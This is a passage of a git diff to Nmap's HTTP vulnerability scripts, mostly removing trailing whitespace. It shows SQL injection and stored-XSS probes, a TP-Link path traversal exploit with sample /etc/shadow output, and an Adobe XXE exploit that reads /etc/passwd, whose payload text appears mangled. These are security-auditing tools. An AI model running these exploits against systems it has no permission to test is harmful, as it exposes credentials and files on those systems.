check_form(form, host, port, path) path_cropped = path_cropped and path_cropped or "" form_submission_path = path_cropped..form["action"] end - + -- determine should the form be sent by post or get local sending_function if form["method"]=="post" then @@ -189,7 +189,7 @@ local function check_form(form, host, port, path) else sending_function = function(data) return http.get(host, port, form_submission_path..generate_get_string(data), nil) end end - + for _,field in ipairs(form["fields"]) do if sqli_field(field["type"]) then stdnse.print_debug(2, "%s: checking field %s", SCRIPT_NAME, field["name"]) @@ -230,7 +230,7 @@ action = function(host, port) local crawler = httpspider.Crawler:new(host, port, nil, {scriptname = SCRIPT_NAME}) local injectable = {} local results_forms = {name="Possible sqli for forms:"} - + while(true) do local status, r = crawler:crawl() if (not(status)) then @@ -240,7 +240,7 @@ action = function(host, port) break end end - + -- first we try sqli on forms if r.response and r.response.body and r.response.status==200 then local all_forms = http.grab_forms(r.response.body) @@ -266,7 +266,7 @@ action = function(host, port) end end end - + -- try to inject local results_queries = {} if #injectable > 0 then @@ -275,7 +275,7 @@ action = function(host, port) local responses = inject(host, port, injectableQs) results_queries = check_responses(injectableQs, responses) end - + results_queries["name"] = "Possible sqli for queries:" local res = {results_queries, results_forms} return stdnse.format_output(true, res) diff --git a/scripts/http-stored-xss.nse b/scripts/http-stored-xss.nse index 162f03673..a793c7ace 100644 --- a/scripts/http-stored-xss.nse +++ b/scripts/http-stored-xss.nse @@ -1,46 +1,46 @@ description = [[ -Posts specially crafted strings to every form it -encounters and then searches through the website for those +Posts specially crafted strings to every form it +encounters and then searches through the website for those strings to determine whether the payloads were succesful. ]] --- -- @usage nmap -p80 --script http-stored-xss.nse --- +-- -- This script works in two phases. -- 1) Posts specially crafted strings to every form it encounters. -- 2) Crawls through the page searching for these strings. -- --- If any string is reflected on some page without any proper +-- If any string is reflected on some page without any proper -- HTML escaping, it's a sign for potential XSS vulnerability. -- --- @args http-stored-xss.formpaths The pages that contain +-- @args http-stored-xss.formpaths The pages that contain -- the forms to exploit. For example, {/upload.php, /login.php}. -- Default: nil (crawler mode on) -- @args http-stored-xss.uploadspaths The pages that reflect --- back POSTed data. For example, {/comments.php, /guestbook.php}. +-- back POSTed data. For example, {/comments.php, /guestbook.php}. -- Default: nil (Crawler mode on) --- @args http-stored-xss.fieldvalues The script will try to --- fill every field found in the form but that may fail due to --- fields' restrictions. You can manually fill those fields using --- this table. For example, {gender = "male", email = "foo@bar.com"}. +-- @args http-stored-xss.fieldvalues The script will try to +-- fill every field found in the form but that may fail due to +-- fields' restrictions. You can manually fill those fields using +-- this table. For example, {gender = "male", email = "foo@bar.com"}. -- Default: {} --- @args http-stored-xss.dbfile The path of a plain text file +-- @args http-stored-xss.dbfile The path of a plain text file -- that contains one XSS vector per line. Default: nil --- +-- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-stored-xss: --- | Found the following stored XSS vulnerabilities: --- | +-- | http-stored-xss: +-- | Found the following stored XSS vulnerabilities: +-- | -- | Payload: ghz>hzx -- | Uploaded on: /guestbook.php -- | Description: Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability. -- | Payload: zxc'xcv -- | Uploaded on: /guestbook.php -- | Description: Unfiltered ' (apostrophe). An indication of potential XSS vulnerability. --- | +-- | -- | Payload: ghz>hzx -- | Uploaded on: /posts.php -- | Description: Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability. @@ -48,7 +48,7 @@ strings to determine whether the payloads were succesful. -- | Uploaded on: /posts.php -- |_ Description: Unfiltered " (double quotation mark). An indication of potential XSS vulnerability. -- --- +-- -- --- @@ -69,19 +69,19 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open -- A list of payloads. -- --- You can manually add / remove your own payloads but make sure you --- don't mess up, otherwise the script may succeed when it actually --- hasn't. +-- You can manually add / remove your own payloads but make sure you +-- don't mess up, otherwise the script may succeed when it actually +-- hasn't. -- -- Note, that more payloads will slow down your scan. payloads = { - -- Basic vectors. Each one is an indication of potential XSS vulnerability. + -- Basic vectors. Each one is an indication of potential XSS vulnerability. { vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." }, { vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." }, { vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." }, } - + -- Create customized requests for all of our payloads. local makeRequests = function(host, port, submission, fields, fieldvalues) @@ -90,19 +90,19 @@ local makeRequests = function(host, port, submission, fields, fieldvalues) for _, p in ipairs(payloads) do for __, field in ipairs(fields) do if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then - + local value = fieldvalues[field["name"]] if value == nil then value = p.vector end - + postdata[field["name"]] = value - + end - end - + end + stdnse.print_debug(2, "Making a POST request to " .. submission .. ": ") - for i, content in pairs(postdata) do + for i, content in pairs(postdata) do stdnse.print_debug(2, i .. ": " .. content) end local response = http.post(host, port, submission, { no_cache = true }, nil, postdata) @@ -111,8 +111,8 @@ local makeRequests = function(host, port, submission, fields, fieldvalues) end local checkPayload = function(body, p) - - if (body:match(p)) then + + if (body:match(p)) then return true end @@ -120,7 +120,7 @@ end -- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array. local checkRequests = function(body, target) - + local output = {} for _, p in ipairs(payloads) do if checkPayload(body, p.vector) then @@ -146,7 +146,7 @@ action = function(host, port) local formpaths = stdnse.get_script_args("http-stored-xss.formpaths") local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths") local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {} - local dbfile = stdnse.get_script_args("http-stored-xss.dbfile") + local dbfile = stdnse.get_script_args("http-stored-xss.dbfile") if dbfile then readFromFile(dbfile) @@ -162,7 +162,7 @@ action = function(host, port) end crawler:set_timeout(10000) - + local index, k, target, response -- Phase 1. Crawls through the website and POSTs malicious payloads. @@ -173,11 +173,11 @@ action = function(host, port) k, target = next(formpaths, index) if (k == nil) then break - end - response = http.get(host, port, target, { no_cache = true }) + end + response = http.get(host, port, target, { no_cache = true }) target = host.name .. target else - + local status, r = crawler:crawl() -- if the crawler fails it can be due to a number of different reasons -- most of them are "legitimate" and should not be reason to abort @@ -191,26 +191,26 @@ action = function(host, port) target = tostring(r.url) response = r.response - + end - if response.body then - + if response.body then + local forms = http.grab_forms(response.body) - for i, form in ipairs(forms) do - + for i, form in ipairs(forms) do + form = http.parse_form(form) if form then - + local action_absolute = string.find(form["action"], "https*://") - + -- Determine the path where the form needs to be submitted. local submission if action_absolute then submission = form["action"] - else + else local path_cropped = string.match(target, "(.*/).*") path_cropped = path_cropped and path_cropped or "" submission = path_cropped..form["action"] @@ -218,17 +218,17 @@ action = function(host, port) makeRequests(host, port, submission, form["fields"], fieldvalues) - end + end end end if (index) then index = index + 1 - else + else index = 1 end end - + local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } ) local index @@ -241,7 +241,7 @@ action = function(host, port) end response = http.get(host, port, target) else - + local status, r = crawler:crawl() -- if the crawler fails it can be due to a number of different reasons -- most of them are "legitimate" and should not be reason to abort @@ -255,25 +255,25 @@ action = function(host, port) target = tostring(r.url) response = r.response - + end - if response.body then + if response.body then result = checkRequests(response.body, target) - + if next(result) then table.insert(returntable, result) end - end + end if (index) then index = index + 1 - else + else index = 1 end end - if next(returntable) then + if next(returntable) then table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ") return returntable else diff --git a/scripts/http-tplink-dir-traversal.nse b/scripts/http-tplink-dir-traversal.nse index 95428d746..e54e485e2 100644 --- a/scripts/http-tplink-dir-traversal.nse +++ b/scripts/http-tplink-dir-traversal.nse @@ -1,7 +1,7 @@ description = [[ Exploits a directory traversal vulnerability existing in several TP-Link wireless routers. Attackers may exploit this vulnerability to read any of the configuration and password files remotely and without authentication. -This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciate +This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciate any help confirming the vulnerability in other models. Advisory: @@ -16,11 +16,11 @@ Other interesting files: -- @usage nmap -p80 --script http-tplink-dir-traversal.nse -- @usage nmap -p80 -Pn -n --script http-tplink-dir-traversal.nse -- @usage nmap -p80 --script http-tplink-dir-traversal.nse --script-args rfile=/etc/topology.conf -d -n -Pn --- +-- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-tplink-dir-traversal: +-- | http-tplink-dir-traversal: -- | VULNERABLE: -- | Path traversal vulnerability in several TP-Link wireless routers -- | State: VULNERABLE (Exploitable) @@ -32,7 +32,7 @@ Other interesting files: -- | Disclosure date: 2012-06-18 -- | Extra information: -- | /etc/shadow : --- | +-- | -- | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7::: -- | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7::: -- | bin::10933:0:99999:7::: @@ -46,7 +46,7 @@ Other interesting files: -- | operator:*:10933:0:99999:7::: -- | nobody::10933:0:99999:7::: -- | ap71::10933:0:99999:7::: --- | +-- | -- | References: -- |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740 -- @@ -55,7 +55,7 @@ Other interesting files: -- -- Other arguments you might want to use with this script: -- * http.useragent - Sets user agent --- +-- author = "Paulino Calderon " license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -112,7 +112,7 @@ action = function(host, port) local vuln = { title = 'Path traversal vulnerability in several TP-Link wireless routers', - state = vulns.STATE.NOT_VULN, + state = vulns.STATE.NOT_VULN, description = [[ Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device. This vulnerability can be exploited without authenticatication. diff --git a/scripts/http-trace.nse b/scripts/http-trace.nse index c47dfac36..55cfe34a3 100644 --- a/scripts/http-trace.nse +++ b/scripts/http-trace.nse @@ -34,7 +34,7 @@ portrule = shortport.http --- Validates the HTTP response and returns header list --@param response The HTTP response ---@param response_headers The HTTP response headers +--@param response_headers The HTTP response headers local validate = function(response, response_headers) local output_lines = {} if ( not(response) ) then @@ -45,7 +45,7 @@ local validate = function(response, response_headers) else output_lines[ #output_lines+1 ] = "TRACE is enabled" end - if nmap.verbosity() >= 2 then + if nmap.verbosity() >= 2 then output_lines[ #output_lines+1 ]= "Headers:" for _, value in pairs(response_headers) do output_lines [ #output_lines+1 ] = value @@ -53,7 +53,7 @@ local validate = function(response, response_headers) end if #output_lines > 0 then return stdnse.strjoin("\n", output_lines) - end + end end --- @@ -61,7 +61,7 @@ end --- action = function(host, port) local path = stdnse.get_script_args("http-trace.path") or "/" - + local req = http.generic_request(host, port, "TRACE", path) if (req.status == 301 or req.status == 302) and req.header["location"] then req = http.generic_request(host, port, "TRACE", req.header["location"]) diff --git a/scripts/http-traceroute.nse b/scripts/http-traceroute.nse index 0d01be9ad..cf82002fa 100644 --- a/scripts/http-traceroute.nse +++ b/scripts/http-traceroute.nse @@ -31,7 +31,7 @@ For more information, see: --@output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-traceroute: +-- | http-traceroute: -- | HTML title -- | Hop #1: Twitter / Over capacity -- | Hop #2: t.co / Twitter @@ -120,7 +120,7 @@ local compare_responses = function(responses, method) end if titles[1] ~= titles[2] or titles[1] ~= titles[3] then - + table.insert(results, 'HTML title') for key,response in pairs(responses) do table.insert(result, "Hop #" .. key .. ": " .. titles[key]) @@ -129,8 +129,8 @@ local compare_responses = function(responses, method) end -- Check status code - if responses[1].status == 502 or - responses[1].status == 483 or + if responses[1].status == 502 or + responses[1].status == 483 or responses[1].status ~= responses[2].status or responses[1].status ~= responses[3].status then @@ -151,7 +151,7 @@ local compare_responses = function(responses, method) result = {} table.insert(results, header) for key,response in pairs(responses) do - if response.header[header] ~= nil then + if response.header[header] ~= nil then table.insert(result, "Hop #" .. key .. ": " .. tostring(response.header[header])) else table.insert(result, "Hop #" .. key) @@ -178,7 +178,7 @@ action = function(host, port) local method = stdnse.get_script_args(SCRIPT_NAME .. '.method') or "GET" local responses = {} local detected = "Possible reverse proxy detected." - + for i = 0,2 do local response = http.generic_request(host, port, method, path, { ['header'] = { ['Max-Forwards'] = i }, ['no_cache'] = true}) table.insert(responses, response) diff --git a/scripts/http-unsafe-output-escaping.nse b/scripts/http-unsafe-output-escaping.nse index 8a949447f..6da4d6031 100644 --- a/scripts/http-unsafe-output-escaping.nse +++ b/scripts/http-unsafe-output-escaping.nse @@ -21,7 +21,7 @@ indication of potential XSS vulnerability. -- -- @output -- PORT STATE SERVICE REASON --- | http-unsafe-output-escaping: +-- | http-unsafe-output-escaping: -- | Characters [> " '] reflected in parameter kalle at http://foobar.gazonk.se/xss.php?foo=bar&kalle=john -- |_ Characters [> " '] reflected in parameter foo at http://foobar.gazonk.se/xss.php?foo=bar&kalle=john -- @@ -73,7 +73,7 @@ local function getReflected(parsed, r) else not_reflected_values[k] = v end - end + end if count > 0 then return reflected_values,not_reflected_values,q end @@ -125,7 +125,7 @@ action = function(host, port) local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } ) crawler:set_timeout(10000) - + local results = {} while(true) do local status, r = crawler:crawl() @@ -138,24 +138,24 @@ action = function(host, port) break end end - + -- parse the returned url local parsed = url.parse(tostring(r.url)) -- We are only interested in links which have parameters - if parsed.query and #parsed.query > 0 then + if parsed.query and #parsed.query > 0 then local host, port = getHostPort(parsed) local reflected_values,not_reflected_values,all_values = getReflected(parsed, r) - - -- Now,were any reflected ? + + -- Now,were any reflected ? if reflected_values then -- Ok, create new links with payloads in the reflected slots local new_links = createMinedLinks(reflected_values, all_values) - + -- Now, if we had 2 reflected values, we should have 2 new links to fetch - visitLinks(host, port,parsed, new_links, results,tostring(r.url)) + visitLinks(host, port,parsed, new_links, results,tostring(r.url)) end - end + end end if ( #results> 0 ) then return stdnse.format_output(true, results) diff --git a/scripts/http-useragent-tester.nse b/scripts/http-useragent-tester.nse index c8c964ef3..f59ae547d 100644 --- a/scripts/http-useragent-tester.nse +++ b/scripts/http-useragent-tester.nse @@ -10,7 +10,7 @@ Checks if various crawling ultities are allowed by the host. -- redirected to a page different than a (valid) browser request would be, that -- means that this ultity is banned. -- --- @args http-useragent-tester.useragents A table with more User-Agent headers. +-- @args http-useragent-tester.useragents A table with more User-Agent headers. -- Default: nil -- -- @output @@ -84,31 +84,31 @@ end portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open") -action = function(host, port) +action = function(host, port) - local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil + local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil local newtargets = stdnse.get_script_args("newtargets") or nil -- We don't crawl any site. We initialize a crawler to use its iswithinhost method. local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } ) local HTTPlibs = {"libwww", - "lwp-trivial", - "libcurl-agent/1.0", - "PHP/", - "Python-urllib/2.5", - "GT::WWW", - "Snoopy", - "MFC_Tear_Sample", - "HTTP::Lite", - "PHPCrawl", - "URI::Fetch", - "Zend_Http_Client", - "http client", - "PECL::HTTP", - "Wget/1.13.4 (linux-gnu)", + "lwp-trivial", + "libcurl-agent/1.0", + "PHP/", + "Python-urllib/2.5", + "GT::WWW", + "Snoopy", + "MFC_Tear_Sample", + "HTTP::Lite", + "PHPCrawl", + "URI::Fetch", + "Zend_Http_Client", + "http client", + "PECL::HTTP", + "Wget/1.13.4 (linux-gnu)", "WWW-Mechanize/1.34" - } + } if moreagents then for _, l in ipairs(moreagents) do @@ -118,19 +118,19 @@ action = function(host, port) -- We perform a normal browser request and get the returned location local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17") - + local allowed, forb = {}, {} for _, l in ipairs(HTTPlibs) do - + local libloc = getLastLoc(host, port, l) - -- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden. + -- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden. if loc ~= libloc then local msg = l .. " redirected to: " .. libloc local libhost = http.parse_url(libloc) - if not crawler:iswithinhost(libhost.host) then - msg = msg .. " (different host)" + if not crawler:iswithinhost(libhost.host) then + msg = msg .. " (different host)" if newtargets then target.add(libhost.host) end diff --git a/scripts/http-userdir-enum.nse b/scripts/http-userdir-enum.nse index 6a1887a2b..20718150c 100644 --- a/scripts/http-userdir-enum.nse +++ b/scripts/http-userdir-enum.nse @@ -48,7 +48,7 @@ portrule = shortport.http action = function(host, port) - if(not nmap.registry.userdir) then + if(not nmap.registry.userdir) then init() end local usernames = nmap.registry.userdir diff --git a/scripts/http-vhosts.nse b/scripts/http-vhosts.nse index 2e7a59bf7..c98fd8ef5 100644 --- a/scripts/http-vhosts.nse +++ b/scripts/http-vhosts.nse @@ -22,7 +22,7 @@ various names of the form .example.com are tried. ]] --- --- @usage +-- @usage -- nmap --script http-vhosts -p 80,8080,443 -- -- @arg http-vhosts.domain The domain that hostnames will be prepended to, for @@ -43,12 +43,12 @@ various names of the form .example.com are tried. -- -- @todo feature: move hostnames to an external file and allow the user to use another one -- @internal: see http://seclists.org/nmap-dev/2010/q4/401 and http://seclists.org/nmap-dev/2010/q4/445 --- --- +-- +-- -- @todo feature: add option report and implement it --- @internal after stripping sensitive info like ip, domain names, hostnames --- and redirection targets from the result, append it to a file --- that can then be uploaded. If enough info is gathered, the names +-- @internal after stripping sensitive info like ip, domain names, hostnames +-- and redirection targets from the result, append it to a file +-- that can then be uploaded. If enough info is gathered, the names -- will be weighted. It can be shared with metasploit -- -- @todo feature: fill nsedoc @@ -81,7 +81,7 @@ end --- -- Makes a target name with a name and a domain --- @param name string +-- @param name string -- @param domain string -- @return string local makeTargetName = function(name,domain) @@ -102,12 +102,12 @@ end -- key -> table -- @param result table -- @return string -local collapse = function(result) +local collapse = function(result) local collapsed = {""} for code, group in next, result do if #group > arg_collapse then table.insert(collapsed, ("%d names had status %s"):format(#group, code)) - else + else for _,name in ipairs(group) do table.insert(collapsed, name) end @@ -130,7 +130,7 @@ local testThread = function(result, host, port, name) result[status] = result[status] or {} if ( 300 <= http_response.status and http_response.status < 400 ) then table.insert(result[status], ("%s : %s -> %s"):format(targetname, status, (http_response.header.location or "(no Location provided)"))) - else + else table.insert(result[status], ("%s : %s"):format(targetname, status)) end end diff --git a/scripts/http-virustotal.nse b/scripts/http-virustotal.nse index 069032f77..c386d5bd2 100644 --- a/scripts/http-virustotal.nse +++ b/scripts/http-virustotal.nse @@ -28,7 +28,7 @@ where status of the queued file may be checked. -- -- @output -- Pre-scan script results: --- | http-virustotal: +-- | http-virustotal: -- | Permalink: https://www.virustotal.com/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/1333633817/ -- | Scan date: 2012-04-05 13:50:17 -- | Positives: 41 @@ -106,7 +106,7 @@ local function readFile(filename) if ( not(f) ) then return false, ("Failed to open file: %s"):format(filename) end - + local str = f:read("*all") if ( not(str) ) then f:close() @@ -121,7 +121,7 @@ local function requestFileScan(filename) if ( not(status) ) then return false, str end - + local shortfile = filename:match("^.*[\\/](.*)$") local boundary = "----------------------------nmapboundary" local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) } @@ -131,11 +131,11 @@ local function requestFileScan(filename) postdata = postdata .. ("--%s\r\n" .. "Content-Disposition: form-data; name=\"file\"; filename=\"%s\"\r\n" .. "Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, shortfile, str, boundary) - + local host = "www.virustotal.com" local port = { number = 80, protocol = "tcp" } local path = "/vtapi/v2/file/scan" - + local response = http.post( host, port, path, { header = header }, nil, postdata ) if ( not(response) or response.status ~= 200 ) then return false, "Failed to request file scan" @@ -145,7 +145,7 @@ local function requestFileScan(filename) if ( not(status) ) then return false, "Failed to parse JSON response" end - + return true, json_data end @@ -154,7 +154,7 @@ local function getFileScanReport(resource) local host = "www.virustotal.com" local port = { number = 80, protocol = "tcp" } local path = "/vtapi/v2/file/report" - + local response = http.post(host, port, path, nil, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource }) if ( not(response) or response.status ~= 200 ) then @@ -165,12 +165,12 @@ local function getFileScanReport(resource) if ( not(status) ) then return false, "Failed to parse JSON response" end - + return true, json_data end local function calcSHA256(filename) - + local status, str = readFile(filename) if ( not(status) ) then return false, str @@ -180,17 +180,17 @@ end local function parseScanReport(report) local result = {} - + table.insert(result, ("Permalink: %s"):format(report.permalink)) table.insert(result, ("Scan date: %s"):format(report.scan_date)) table.insert(result, ("Positives: %s"):format(report.positives)) - table.insert(result, { - name = "digests", + table.insert(result, { + name = "digests", ("SHA1: %s"):format(report.sha1), ("SHA256: %s"):format(report.sha256), ("MD5: %s"):format(report.md5) }) - + local tmp = {} for name, scanres in pairs(report.scans) do local res = ( scanres.detected ) and scanres.result or "-" @@ -204,14 +204,14 @@ local function parseScanReport(report) tab.addrow(scan_tbl, v.name, v.result, v.update, v.version) end table.insert(result, { name = "Results", tab.dump(scan_tbl) }) - + return result end local function fail(err) return ("\n ERROR: %s"):format(err or "") end action = function() - + if ( not(arg_apiKey) ) then return fail("An API key is required in order to use this script (see description)") end @@ -239,17 +239,17 @@ action = function() else return end - + local status, response - + local status, response = getFileScanReport(resource) if ( not(status) ) then return fail("Failed to retrieve file scan report") end - + if ( not(response.response_code) or 0 == tonumber(response.response_code) ) then return fail(("Failed to retreive scan report for resource: %s"):format(resource)) end - + return stdnse.format_output(true, parseScanReport(response)) end diff --git a/scripts/http-vlcstreamer-ls.nse b/scripts/http-vlcstreamer-ls.nse index 79381d3a6..11a925956 100644 --- a/scripts/http-vlcstreamer-ls.nse +++ b/scripts/http-vlcstreamer-ls.nse @@ -17,7 +17,7 @@ enable streaming of multimedia content from the remote server to the device. -- @output -- PORT STATE SERVICE -- 54340/tcp open unknown --- | http-vlcstreamer-ls: +-- | http-vlcstreamer-ls: -- | /Applications -- | /Developer -- | /Library @@ -57,7 +57,7 @@ local arg_dir = stdnse.get_script_args(SCRIPT_NAME .. ".dir") or "/" local function fail(err) return ("\n ERROR: %s"):format(err or "") end action = function(host, port) - + local response = http.get(host, port, ("/secure?command=browse&dir=%s"):format(arg_dir)) if ( response.status ~= 200 or not(response.body) or 0 == #response.body ) then @@ -72,11 +72,11 @@ action = function(host, port) if ( not(status) ) then return fail("Failed to parse response") end - + if ( parsed.errorMessage ) then return fail(parsed.errorMessage) end - + local output = {} for _, entry in pairs(parsed.files or {}) do table.insert(output,entry.path) diff --git a/scripts/http-vmware-path-vuln.nse b/scripts/http-vmware-path-vuln.nse index 4d6765b72..0ca742d39 100644 --- a/scripts/http-vmware-path-vuln.nse +++ b/scripts/http-vmware-path-vuln.nse @@ -16,7 +16,7 @@ The vulnerability was originally released by Justin Morehouse and Tony Flick, wh -- nmap --script http-vmware-path-vuln -p80,443,8222,8333 -- -- @output --- | http-vmware-path-vuln: +-- | http-vmware-path-vuln: -- | VMWare path traversal (CVE-2009-3733): VULNERABLE -- | /vmware/Windows 2003/Windows 2003.vmx -- | /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx diff --git a/scripts/http-vuln-cve2009-3960.nse b/scripts/http-vuln-cve2009-3960.nse index e909acdf8..bade53c1f 100644 --- a/scripts/http-vuln-cve2009-3960.nse +++ b/scripts/http-vuln-cve2009-3960.nse @@ -9,8 +9,8 @@ description = [[ Exploits cve-2009-3960 also known as Adobe XML External Entity Injection. This vulnerability permits to read local files remotely and is present in -BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data -Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and +BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data +Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and ColdFusion 7.0.2, 8.0, 8.0.1, and 9.0 For more information see: @@ -29,7 +29,7 @@ For more information see: --@output -- PORT STATE SERVICE -- 80/tcp open http ---| http-vuln-cve2009-3960: +--| http-vuln-cve2009-3960: --| samples/messagebroker/http --| --| timestampheadersbodycorrelationIdmessageIdtimeToLiveclientIddestination1.325337665684E12DSMessagingVersionDSId1.05E037B49-540B-EDCF-A83A-BE9059CF6812root:x:0:0:root:/root:/bin/bash @@ -68,7 +68,7 @@ action = function(host, port) local matchend = '' local matchsize = 120 local matchnotvuln = 'External entities are not allowed' - + local results = {} local root = stdnse.get_script_args(SCRIPT_NAME .. ".root") or "/" local readfile = stdnse.get_script_args(SCRIPT_NAME .. ".readfile") or "/etc/passwd" @@ -77,26 +77,26 @@ action = function(host, port) "messagebroker/http", "messagebroker/httpsecure", - -- Coldfusion - "flex2gateway/http", + -- Coldfusion + "flex2gateway/http", "flex2gateway/httpsecure", - + -- BlazeDS - "blazeds/messagebroker/http", + "blazeds/messagebroker/http", "blazeds/messagebroker/httpsecure", "samples/messagebroker/http", "samples/messagebroker/httpsecure", - + -- LiveCycle Data Services - "lcds/messagebroker/http", - "lcds/messagebroker/httpsecure", - "lcds-samples/messagebroker/http", - "lcds-samples/messagebroker/httpsecure", + "lcds/messagebroker/http", + "lcds/messagebroker/httpsecure", + "lcds-samples/messagebroker/http", + "lcds-samples/messagebroker/httpsecure", } - local exploit = [[ ]> ]> bodyclientId @@ -122,8 +122,8 @@ action = function(host, port) }, description = [[ Permits to read local files remotely and is present in -BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data -Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and +BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data +Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and ColdFusion 7.0.2, 8.0, 8.0.1, and 9.0]], references = { 'http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf', @@ -134,16 +134,16 @@ ColdFusion 7.0.2, 8.0, 8.0.1, and 9.0]], }, exploit_results = {}, } - + local report = vulns.Report:new(SCRIPT_NAME, host, port) http_vuln.state = vulns.STATE.NOT_VULN for _,path in pairs(paths) do local uri = root .. path local response = http.post(host, port, uri, options, nil, exploit) - - if response.status == 200 then - if #response.body >= matchsize and + + if response.status == 200 then + if #response.body >= matchsize and string.sub(response.body,1,string.len(matchstart))==matchstart and string.sub(response.body,-string.len(matchend))==matchend and string.match(response.body, matchnotvuln)==nil diff --git a/scripts/http-vuln-cve2010-0738.nse b/scripts/http-vuln-cve2010-0738.nse index e62558fa5..a9f271400 100644 --- a/scripts/http-vuln-cve2010-0738.nse +++ b/scripts/http-vuln-cve2010-0738.nse @@ -22,7 +22,7 @@ For more information, see: -- | http-vuln-cve2010-0738: -- |_ /jmx-console/: Authentication bypass. -- --- @args http-vuln-cve2010-0738.paths Array of paths to check. Defaults +-- @args http-vuln-cve2010-0738.paths Array of paths to check. Defaults -- to {"/jmx-console/"}. author = "Hani Benhabiles" @@ -44,14 +44,14 @@ action = function(host, port) if ( "string" == type(paths) ) then paths = { paths } end - + -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests local _, http_status, _ = http.identify_404(host,port) if ( http_status == 200 ) then stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) return false end - + -- fallback to jmx-console paths = paths or {"/jmx-console/"} @@ -74,6 +74,6 @@ action = function(host, port) table.insert(result, ("%s: Authentication was not required"):format(path)) end end - + return stdnse.format_output(true, result) end diff --git a/scripts/http-vuln-cve2010-2861.nse b/scripts/http-vuln-cve2010-2861.nse index 343a0b32b..86db93934 100644 --- a/scripts/http-vuln-cve2010-2861.nse +++ b/scripts/http-vuln-cve2010-2861.nse @@ -58,7 +58,7 @@ categories = {"intrusive", "vuln"} portrule = shortport.http action = function(host, port) - + local vuln = { title = 'Adobe ColdFusion Directory Traversal Vulnerability', state = vulns.STATE.NOT_VULN, -- default @@ -105,8 +105,8 @@ locale parameter]], -- Generate HMAC as this is what the web application needs for authentication as admin local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper() --return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent) - local result = { - ("HMAC: %s"):format(hmaccontent), + local result = { + ("HMAC: %s"):format(hmaccontent), ("Salt: %s"):format(saltcontent), ("Hash: %s"):format(hashcontent) } diff --git a/scripts/http-vuln-cve2011-3192.nse b/scripts/http-vuln-cve2011-3192.nse index 4571addec..3cf02d497 100644 --- a/scripts/http-vuln-cve2011-3192.nse +++ b/scripts/http-vuln-cve2011-3192.nse @@ -19,7 +19,7 @@ References: -- -- @output -- Host script results: --- | http-vuln-cve2011-3192: +-- | http-vuln-cve2011-3192: -- | VULNERABLE: -- | Apache byterange filter DoS -- | State: VULNERABLE diff --git a/scripts/http-vuln-cve2011-3368.nse b/scripts/http-vuln-cve2011-3368.nse index c6700b447..27aa6e7ec 100644 --- a/scripts/http-vuln-cve2011-3368.nse +++ b/scripts/http-vuln-cve2011-3368.nse @@ -23,9 +23,9 @@ References: -- nmap --script http-vuln-cve2011-3368 -- -- @output --- PORT STATE SERVICE +-- PORT STATE SERVICE -- 80/tcp open http --- | http-vuln-cve2011-3368: +-- | http-vuln-cve2011-3368: -- | VULNERABLE: -- | Apache mod_proxy Reverse Proxy Security Bypass -- | State: VULNERABLE @@ -53,7 +53,7 @@ categories = {"intrusive", "vuln"} portrule = 